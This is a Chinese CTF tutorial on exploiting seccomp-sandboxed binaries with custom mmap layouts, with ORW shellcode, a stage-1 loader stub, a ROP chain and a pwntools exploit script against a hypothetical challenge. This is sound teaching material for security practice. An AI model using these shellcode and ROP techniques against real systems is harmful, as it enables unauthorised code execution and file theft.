CTF PWN中Seccomp沙箱与Mmap内存布局的联合利用技术 1. 项目概述当PWN题遇上沙箱与内存迷宫如果你玩过一段时间的CTF PWN尤其是那些难度上了档次的比赛会发现题目设置越来越“花”。早些年可能就是一个简单的栈溢出让你覆盖个返回地址就完事了。但现在出题人喜欢给你套上各种“枷锁”比如今天要聊的这个经典组合拳seccomp沙箱和精心设计的mmap内存布局。光看标题“从‘静默执行盒’到Flag”你就能感受到一种层层递进的闯关感——“静默执行盒”指的就是被seccomp严格限制的程序而我们的目标就是在这个盒子里利用有限的内存拼图最终拿到Flag。这不仅仅是两个孤立的知识点。在实战中它们往往相辅相成共同构成一道题的灵魂。SeccompSecure Computing Mode是Linux内核提供的一种沙箱机制它可以严格限制进程能够调用的系统调用。想象一下题目给了你一个能写shellcode的漏洞你兴冲冲地构造了execve(/bin/sh, 0, 0)结果程序一执行到这儿就默默退出了因为execve这个系统调用被ban掉了。这就是seccomp的“静默”之处——它不会报错只是让你的攻击失效。此时你的攻击路径就必须转向比如利用open、read、write这三个未被禁止的系统调用来实现“盲读”flag文件这就是所谓的ORWOpen-Read-Write利用链。而mmap内存布局则是出题人为你划定的“战场”。通过mmap程序可以动态地在内存的特定区域比如堆和栈之间的某块地址映射出一片空间这片空间的权限可读、可写、可执行、起始地址和大小都可以被精确控制。当这道“墙”立起来后它可能把你的shellcode区域和关键数据区域隔开或者创造出一个“洞”让你去跳。理解这个布局是你规划利用链、计算偏移、布置payload的地图。不懂地图你所有的攻击都像是在黑暗中挥拳。所以这个主题的核心就是教你如何在“系统调用被阉割”seccomp和“内存地形复杂”mmap布局的双重限制下依然能优雅地完成攻击。这不仅是CTF的考点更是理解现代漏洞利用缓解技术和复杂程序内存模型的绝佳窗口。接下来我们就一层层剥开它的外壳。2. 核心组件深度解析Seccomp沙箱与Mmap布局2.1 Seccomp沙箱从规则到实战绕过Seccomp本身是一个相当简洁但强大的内核安全特性。它有两种工作模式SECCOMP_MODE_STRICT和SECCOMP_MODE_FILTER。前者只允许readwrite_exitsigreturn四个系统调用过于严格实战中少见。我们遇到的基本都是后者——过滤模式Filter Mode它允许我们通过伯克利包过滤器BPF定义一套复杂的规则来允许或禁止特定的系统调用。在PWN题中出题人通常会在程序初始化时调用prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, prog)来加载一个预编译好的BPF程序。这个BPF程序就是一个“判决书”里面写明了哪些syscall号或者带有特定参数的syscall可以通过哪些会被SIGKILL干掉返回-1errno设为EACCES。如何获取沙箱规则这是解题的第一步。题目二进制文件里通常就藏着这个BPF规则。你可以用seccomp-tools这个神器来快速分析seccomp-tools dump ./pwn_challenge这条命令会直观地打印出允许和禁止的系统调用列表。看到输出里只有openreadwriteopenat等寥寥几个syscall被允许而execveexecveatforkclone等都被禁止时你就知道ORW链是唯一出路了。为什么是ORW因为在最常见的沙箱配置下文件操作相关的open/openat、read、write往往是留着的毕竟程序本身可能需要日志或配置文件。这就给我们留下了一个狭窄但致命的通道我们不能执行新程序但可以读取文件内容并写出来通常写到标准输出fd1。所以利用链就固定为Open打开flag文件通常是./flag或/flag。Read将文件内容读入内存缓冲区。Write将缓冲区内容写入标准输出。绕过思路的演变单纯的ORW只是基础。出题人可能会设置更变态的规则比如禁止open但允许openat。这时你需要用openat(AT_FDCWD, “./flag”, O_RDONLY)。检查open的参数BPF规则可以检查系统调用的参数。例如只允许打开特定路径的文件或者禁止以O_WRONLY方式打开。这时就需要精确控制传入的参数值。时间戳或随机数校验沙箱规则可能动态变化或者与程序逻辑耦合。你需要逆向整个程序流理解沙箱在何时被加载、规则是否会被修改。实操心得永远不要假设沙箱规则是静态的。用seccomp-tools分析后最好再动态调试一下在prctl调用处下断点看看传入的filter结构体确认规则是否和静态分析一致。有时出题人会动态生成或修改BPF代码。2.2 Mmap内存布局规划你的攻击阵地如果说seccomp定义了“你能做什么”那么mmap布局就定义了“你在哪里做”。mmap系统调用可以将文件或匿名内存映射到进程的地址空间。在PWN题中出题人频繁使用它来制造“非标准”的内存区域。一个典型的“搞事情”的mmap调用可能是这样的void *area mmap((void*)0x1234000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);这行代码会在地址0x1234000如果该地址可用映射一块大小为0x10004KB、权限为可读、可写、可执行RWX的匿名内存。这块区域瞬间就成了众矢之的——它很可能就是给你布置shellcode的“沙盒”。布局的常见花样与意图制造RWX区域如上例。这是最直接的给你一个可以写且能执行代码的地方。你的任务就是把ORW的shellcode写到这里然后跳转过去执行。制造“洞”或“墙”连续多次mmap有的区域可写不可执行W^X原则下的数据区有的可执行不可写代码区。这会把地址空间切割成一块块的。你的利用可能需要像跳格子一样在不同区域间传递数据和控制流。固定地址映射通过指定addr参数强行在某个地址映射。这可以覆盖关键数据比如在GOT表Global Offset Table附近映射一块可写区域尝试修改GOT项。创造特定偏移为了让你的漏洞利用计算偏移更“整”或更“怪”出题人会精心安排映射地址使得从漏洞点到目标点的偏移是一个容易计算的值比如0x12345678。与堆/栈空间相邻将映射区域紧贴着堆heap或栈stack的边界。这可能会影响堆溢出或栈溢出的利用方式比如溢出的数据可以直接进入这个映射区或者需要绕过这个区。如何分析布局静态分析看mmap调用参数。动态调试则更直观在程序初始化完成所有mmap调用结束后、等待输入时用调试器如gdb查看/proc/[pid]/maps。你会看到类似下面的布局555555554000-555555555000 r-xp 00000000 00:2d 11406073 /home/ctf/pwn 555555754000-555555755000 r--p 00000000 00:2d 11406073 /home/ctf/pwn 555555755000-555555756000 rw-p 00001000 00:2d 11406073 /home/ctf/pwn 555555756000-555555777000 rw-p 00000000 00:00 0 [heap] 7ffff7a00000-7ffff7a21000 rw-p 00000000 00:00 0 7ffff7a21000-7ffff7c00000 ---p 00000000 00:00 0 7ffff7c00000-7ffff7c21000 rwxp 00000000 00:00 0 -- 出题人mmap的RWX区域 7ffff7c21000-7ffff7e00000 ---p 00000000 00:00 0 7ffff7e00000-7ffff7e21000 rw-p 00000000 00:00 0 -- 出题人mmap的RW-区域 ... 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]重点关注那些非标准库映射的、大小奇怪的、权限特殊的尤其是rwxp匿名映射区域。记下它们的起始地址、大小和权限。注意事项mmap的addr参数只是一个“建议地址”。如果该地址区域已被占用内核会另选地址除非用了MAP_FIXED标志。所以动态调试看到的最终地址才是“真理”。你的利用脚本中的所有地址计算都必须基于动态调试得到的实际地址。3. 攻击链构建在限制中舞蹈理解了“规则”seccomp和“场地”mmap接下来就是把它们串联起来形成一条能通往flag的完整攻击链。这个过程就像在解一个多维谜题。3.1 信息收集与漏洞定位一切始于漏洞。常见的漏洞类型在这种题目里依然是栈溢出可能存在于readgetsscanf等函数。堆漏洞Use-after-Free Double Free 堆溢出。格式化字符串漏洞。 你的首要任务是确定漏洞类型、触发点和可控数据范围。结合布局分析漏洞影响假设你发现了一个堆溢出可以覆盖相邻chunk的内容。这时你需要立刻去查/proc/pid/maps看看堆的上下左右有没有那些特殊的mmap区域。如果堆的末尾紧挨着一个可执行的mmap区域那么你的溢出可能就能直接覆盖到那个区域的开头从而植入shellcode。这直接改变了利用思路。3.2 Shellcode的定制化编写在经典的ORW场景下你的shellcode需要根据题目环境做精细调整。64位Linux下的经典ORW Shellcode汇编思路; 假设此时rdi等寄存器状态未知我们需要先保存现场如果需要的话但通常直接开干。 ; 1. Open file xor rax, rax mov al, 2 ; syscall number for open (64位下是2) lea rdi, [ripflag] ; flag字符串地址需要计算偏移 xor rsi, rsi ; O_RDONLY 0 xor rdx, rdx ; mode 0 syscall ; 2. Read file into buffer (假设我们把内容读到那个RW-的mmap区域地址为0x7ffff7e00000) mov rdi, rax ; 把open返回的文件描述符fd保存到rdi xor rax, rax ; syscall number for read (0) mov rsi, 0x7ffff7e00000 ; 目标缓冲区地址 mov rdx, 0x100 ; 读取长度足够大即可 syscall ; 3. Write to stdout (fd1) mov rdi, 1 ; fd 1 (stdout) mov rax, 1 ; syscall number for write (1) ; rsi已经是缓冲区地址rdx已经是读取的字节数read的返回值在rax但通常我们会用个固定值或传递 mov rdx, rax ; 将实际读到的字节数作为写入长度 syscall ; 4. Exit mov rax, 60 ; syscall number for exit xor rdi, rdi syscall flag: db “./flag”, 0这段shellcode需要根据实际情况调整字符串地址lea rdi, [ripflag]利用了RIP相对寻址在shellcode被加载到任意位置时都能正确找到字符串。但前提是你的shellcode和字符串在同一块内存区域且偏移固定。如果字符串需要单独布置你可能需要分两次写入或者用栈来构造字符串。缓冲区地址0x7ffff7e00000需要替换成动态调试中看到的、那个可写rw-mmap区域的真实地址。系统调用号64位和32位不同需确认题目环境。如何将Shellcode送入RWX区域这取决于你的漏洞类型直接写入如果漏洞能让你直接向RWX区域写数据比如一个指向该区域的指针的写操作那就最简单。栈/堆溢出跳转如果RWX区域在栈或堆的“下游”通过溢出覆盖返回地址或函数指针将其指向RWX区域然后通过第二次输入或漏洞的后续利用将shellcode本身写入RWX区域。这里要注意执行顺序先劫持控制流到RWX区域但此时该区域可能还是空白的或旧数据你需要确保在跳转过去之前shellcode已经被布置好。有时需要利用多次交互。格式化字符串写如果RWX区域地址已知可以用%n或%hn等格式化字符串特性将shellcode的字节逐个写入该地址。3.3 控制流劫持与跳板设计这是最精妙的一步。你的漏洞可能只能实现一次控制流劫持比如一次栈溢出覆盖返回地址。你需要精心设计这个跳转目标。场景一直接跳入RWX区域如果shellcode已经稳稳地躺在RWX区域里地址是0x7ffff7c00000那么直接把返回地址或rip覆盖成这个地址即可。场景二需要“二次播种”更常见的情况是第一次劫持时RWX区域还是空的。你不能直接跳过去执行。这时你需要一个跳板Stage 1 Shellcode它的任务是把真正的ORW ShellcodeStage 2写进RWX区域然后再跳过去。 这个Stage 1 Shellcode通常非常短小可能只需要调用read系统调用从标准输入fd0读取Stage 2 Shellcode到RWX区域然后跳转。它的汇编可能只有十几字节。; Stage 1: 读取Stage 2 shellcode到固定地址并跳转 xor rax, rax ; syscall number for read (0) xor rdi, rdi ; fd 0 (stdin) mov rsi, 0x7ffff7c00000 ; 目标地址RWX区域 mov rdx, 0x400 ; 读取足够长的数据 syscall jmp rsi ; 跳转到刚刚读入的shellcode你需要把这段Stage 1 Shellcode通过漏洞比如栈溢出覆盖局部变量布置到当前可执行的内存区域比如程序本身的.text段如果可写、或者栈上如果栈可执行NX被关闭但现代题目很少见或者另一个可执行的mmap区域。然后劫持控制流到Stage 1。场景三利用现有代码片段Gadget如果程序没有给你任何可执行的内存区域所有mmap区域都不可执行且程序本身开启了NX/PIE那么纯shellcode的路就走不通了。你必须转向ROPReturn-Oriented Programming。你需要用ROP链来模拟ORW的系统调用。这需要你在二进制文件中找到足够的gadget来设置raxrdirsirdx然后执行syscall。这通常更复杂但对理解系统调用约定和ROP链构造是极好的锻炼。实操心得在构造利用链时画一张内存地图和时序图非常有用。在地图上标出漏洞点、可控数据流向、各个mmap区域的位置和权限、以及你计划放置Stage 1和Stage 2 shellcode的位置。在时序图上标出每次交互send的内容、程序状态的变化、以及控制流的转移。这能帮你理清头绪避免逻辑混乱。4. 实战演练与问题排查理论说得再多不如动手调一次。我们假设一个简化但典型的场景串联起整个流程。4.1 模拟场景设定假设有一个CTF题目pwn_seccomp_mmap它在main函数开头用mmap在0x12345000映射了一块0x1000大小、PROT_READ | PROT_WRITE | PROT_EXEC权限的内存称为RWX区。在0x12346000映射了一块0x1000大小、PROT_READ | PROT_WRITE权限的内存称为RW区。调用prctl设置了一个seccomp沙箱只允许openatreadwriteexit。存在一个简单的栈溢出漏洞read(0, buf, 0x200)读入到大小只有0x100的局部数组buf中。程序是64位开启了NX栈不可执行但没开PIE代码段基址固定。4.2 分步利用流程步骤1静态分析与动态确认# 检查安全编译选项 checksec ./pwn_seccomp_mmap # 查看沙箱规则 seccomp-tools dump ./pwn_seccomp_mmap # 使用gdb调试在main函数设断点运行后查看maps gdb ./pwn_seccomp_mmap (gdb) b main (gdb) r (gdb) shell cat /proc/pidof pwn_seccomp_mmap/maps确认RWX区和RW区的地址与静态分析一致例如0x12345000和0x12346000。步骤2计算偏移与构造Payload用pattern工具确定溢出点到返回地址的偏移。假设偏移是0x108字节。 那么Payload结构如下[0x108 bytes of junk] [Stage 1 Address] [Stage 1 Shellcode? 不Stage 1本身需要放在别处]这里有个关键我们的漏洞是栈溢出但栈不可执行NX。我们不能把Stage 1 Shellcode放在栈上然后跳过去。我们必须跳到一个已经存在且可执行的地址。在这个场景里就是RWX区 (0x12345000)。但此时RWX区是空的。所以我们需要两次发送第一次发送利用栈溢出仅仅劫持控制流让它返回到一个现有的、能帮我们读入数据的代码片段。比如我们可以返回到main函数中调用read的那条指令之后这样我们可以重新获得一次向buf栈上写数据的机会但这次我们写入的是Stage 1 Shellcode到RWX区的指令不这太绕。更简单的方法是我们直接返回到一个read函数的gadget让它从标准输入读入Stage 1 Shellcode到RWX区。 我们需要在二进制里找一个这样的gadgetpop rdi; pop rsi; pop rdx; syscall; ret并且设置rdi0stdinrsi0x12345000RWX区rdx0x400大小。这实际上已经是一个ROP链了。 假设我们找到了这个gadget的地址是0x4008a3。 那么第一次Payload为[0x108 bytes junk] [0x4008a3 (gadget addr)] [0 (rdi)] [0x12345000 (rsi)] [0x400 (rdx)]这个ROP链执行的效果是调用read(0, 0x12345000, 0x400)然后ret。这个ret会返回到哪里呢它会从栈上读下一个地址作为返回地址。所以我们在Payload后面还要跟上Stage 1 Shellcode在RWX区的地址这样read执行完ret后就会跳转到RWX区执行我们刚刚读入的数据即Stage 1 Shellcode。第二次发送就是Stage 1 Shellcode本身。它的内容就是前面写的那个很短的“读入Stage 2并跳转”的shellcode吗其实这里可以简化。既然我们已经能用ROP调用read把数据读入RWX区并且之后会跳过去执行那么我们第二次发送直接发送最终的ORW ShellcodeStage 2不就行了是的这样Stage 1就省了。 所以第二次发送的数据就是我们的64位ORW Shellcode需要根据题目调整flag路径和缓冲区地址到RW区 0x12346000。步骤3整合利用脚本Python pwntoolsfrom pwn import * context.arch ‘amd64’ context.log_level ‘debug’ # 连接题目 io process(‘./pwn_seccomp_mmap’) # 或 remote(‘host’, port) # 地址信息 RWX_ADDR 0x12345000 RW_ADDR 0x12346000 GADGET_READ 0x4008a3 # pop rdi; pop rsi; pop rdx; syscall; ret # 构造第一次PayloadROP调用read将stage2 shellcode读入RWX区并跳转过去 offset 0x108 payload1 b’A’ * offset payload1 p64(GADGET_READ) payload1 p64(0) # rdi 0 (stdin) payload1 p64(RWX_ADDR) # rsi RWX区地址 payload1 p64(0x400) # rdx 读取大小 payload1 p64(RWX_ADDR) # read函数返回后的ret地址直接跳到RWX区 io.send(payload1) # 构造并发送第二次Payload最终的ORW Shellcode # 使用asm生成shellcode shellcode asm(‘’’ // Open flag xor rax, rax mov al, 2 lea rdi, [ripflag] xor rsi, rsi xor rdx, rdx syscall // Read flag to RW buffer mov rdi, rax xor rax, rax mov rsi, {rw_addr} mov rdx, 0x100 syscall // Write to stdout mov rdi, 1 mov rax, 1 mov rdx, rax // 假设read的返回值在rax实际可能需要调整 syscall // Exit mov rax, 60 xor rdi, rdi syscall flag: .asciz “./flag” ‘’’.format(rw_addrRW_ADDR)) io.send(shellcode.ljust(0x400, b’\x90’)) # 用nop填充到约定的大小 # 接收flag io.interactive()4.3 常见问题与调试技巧即使思路清晰实战中也会踩坑。下面是一些常见问题及排查方法问题现象可能原因排查方法发送payload后程序崩溃无输出1. 偏移计算错误。2. Gadget地址不对或gadget链执行环境破坏栈对齐问题。3. 触发了沙箱规则syscall被禁。1. 用cyclic和gdb重新确认偏移。2. 在gdb中单步跟踪ROP链检查每个gadget执行前后寄存器状态。3. 检查strace输出看是否在某个syscall上被kill。能执行到shellcode但读不到flag1. flag路径不对。2. 文件描述符fd弄错open返回的fd不是3就是其他值。3. RW区地址错误或不可写。1. 尝试常见路径./flag./flag.txt/flag/home/ctf/flag。2. 在shellcode里添加调试输出比如先write(1, rsi, 8)打印打开的文件名和fd。3. 动态调试在open和read系统调用处断点检查参数和返回值。程序正常执行但无回显1.write的目标fd不对不是1。2. 网络连接或输出缓冲区问题。1. 确认write的fd是1标准输出。2. 尝试在shellcode最后加一段循环或pause防止程序过早退出导致输出丢失。用io.recv(timeout2)或io.recvall()接收。第二次发送后程序无反应1. 第一次read的rdx读取长度设置太小没读完第二次发送的数据导致后续数据被当作下一次read的输入程序逻辑混乱。2. RWX区权限不对。1. 确保第二次发送的数据长度等于第一次ROP链中read指定的长度rdx。可以用ljust填充。2. 动态调试检查/proc/pid/maps确认RWX区确实是rwxp权限。调试技巧实录strace是你的好朋友在本地运行strace -f ./pwn_challenge然后触发漏洞可以清晰看到进程执行了哪些系统调用在哪一个被SECCOMP阻断返回-1EACCES。GDB配合断点在prctl和mmap调用处下断点观察参数。在触发漏洞的read函数返回前下断点查看栈布局和溢出情况。核心文件分析如果程序崩溃生成core dump (ulimit -c unlimited)用gdb ./pwn_challenge core分析崩溃瞬间的寄存器、栈和内存状态。pwntools的gdb.attach()在脚本中插入pause()然后使用gdb.attach(io)可以实时附着调试非常方便。5. 进阶思考与扩展掌握了基础组合拳后可以看看更复杂的变种这能极大提升你的实战能力。1. 沙箱规则的动态性有些题目不是一开始就加载沙箱而是在你进行某些操作比如输对了某个密码后才加载一个更严格的沙箱。或者沙箱规则本身可以通过某个漏洞进行部分修改。这就要求你的利用链必须在沙箱加载前完成关键操作比如先open拿到fd或者能影响沙箱策略本身。2. Mmap布局的非常规利用MAP_FIXED覆盖如果出题人使用了MAP_FIXED标志并且地址选择不当可能会覆盖掉已有的关键内存区域如libc的某个函数指针这本身就可能成为一个漏洞。地址空间布局随机化ASLR与固定地址mmap即使程序开了PIE和ASLR出题人通过mmap映射的固定地址区域会成为ASLR海洋中的“固定岛屿”为你提供稳定的地址参考点可以用来计算其他模块的基址。多区域协作利用一个可写区域存放数据flag内容另一个可执行区域存放代码通过有限的指令在区域间搬运数据。这需要更精巧的shellcode设计。3. 替代ORW的方法如果open也被禁了怎么办也许题目在启动时已经帮你打开了flag文件并将文件描述符放在某个已知位置比如一个全局变量。你的shellcode只需要找到这个fd然后进行read和write。或者如果write被禁但sendfile允许你可以用sendfile(1, fd, 0, 0x100)来将flag内容发送到标准输出。4. 从CTF到现实这种“沙箱非常规内存布局”的模式在现实的安全缓解和绕过中也有体现。例如一些安全软件或容器技术会使用seccomp来限制子进程的能力。而高级的漏洞利用如JIT Spraying也会精心构造内存布局来绕过DEP数据执行保护。理解这些原理不仅能解CTF题更能加深你对系统安全机制的认识。最后这类题目的魅力在于它逼迫你进行系统性的思考。你不能再满足于找到一个溢出点就万事大吉而必须通盘考虑整个进程的生存环境它被允许做什么它的内存是什么样子我的攻击路径如何穿过这些限制这种全局视角是成为一名优秀二进制安全研究员的必备素质。多动手多调试把每一次“段错误”都当作是程序在告诉你它的秘密你会发现在这片充满限制的战场上舞蹈其实乐趣无穷。